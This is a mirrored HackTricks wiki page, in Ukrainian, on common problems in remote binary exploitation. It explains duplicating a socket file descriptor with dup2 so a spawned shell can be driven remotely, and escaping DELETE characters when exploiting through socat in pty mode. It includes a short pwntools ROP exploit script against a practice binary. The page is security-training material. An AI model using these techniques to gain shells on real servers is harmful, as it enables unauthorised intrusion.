mirror of
https://github.com/HackTricks-wiki/hacktricks.git
synced 2025-10-10 18:36:50 +00:00
37 lines
2.4 KiB
Markdown
37 lines
2.4 KiB
Markdown
# Загальні проблеми експлуатації
|
||
|
||
{{#include ../banners/hacktricks-training.md}}
|
||
|
||
## FD у віддаленій експлуатації
|
||
|
||
Коли ви надсилаєте експлойт на віддалений сервер, який викликає **`system('/bin/sh')`**, це буде виконано в процесі сервера, і `/bin/sh` очікуватиме введення з stdin (FD: `0`) і виведе результати в stdout і stderr (FDs `1` і `2`). Тому атакуючий не зможе взаємодіяти з оболонкою.
|
||
|
||
Спосіб вирішення цієї проблеми полягає в тому, щоб припустити, що коли сервер запустився, він створив **FD номер `3`** (для прослуховування), а потім ваше з'єднання буде в **FD номер `4`**. Отже, можливо використовувати системний виклик **`dup2`**, щоб дублювати stdin (FD 0) і stdout (FD 1) в FD 4 (той, що належить з'єднанню атакуючого), щоб це зробило можливим зв'язок з оболонкою після її виконання.
|
||
|
||
[**Приклад експлойту звідси**](https://ir0nstone.gitbook.io/notes/types/stack/exploiting-over-sockets/exploit):
|
||
```python
|
||
from pwn import *
|
||
|
||
elf = context.binary = ELF('./vuln')
|
||
p = remote('localhost', 9001)
|
||
|
||
rop = ROP(elf)
|
||
rop.raw('A' * 40)
|
||
rop.dup2(4, 0)
|
||
rop.dup2(4, 1)
|
||
rop.win()
|
||
|
||
p.sendline(rop.chain())
|
||
p.recvuntil('Thanks!\x00')
|
||
p.interactive()
|
||
```
|
||
## Socat & pty
|
||
|
||
Зверніть увагу, що socat вже передає **`stdin`** та **`stdout`** до сокета. Однак, режим `pty` **включає символи DELETE**. Тому, якщо ви надішлете `\x7f` ( `DELETE` -), це **видалить попередній символ** вашого експлойту.
|
||
|
||
Щоб обійти це, **символ втечі `\x16` повинен бути попереджений перед будь-яким `\x7f`, що надсилається.**
|
||
|
||
**Тут ви можете** [**знайти приклад цієї поведінки**](https://ir0nstone.gitbook.io/hackthebox/challenges/pwn/dream-diary-chapter-1/unlink-exploit)**.**
|
||
|
||
{{#include ../banners/hacktricks-training.md}}
|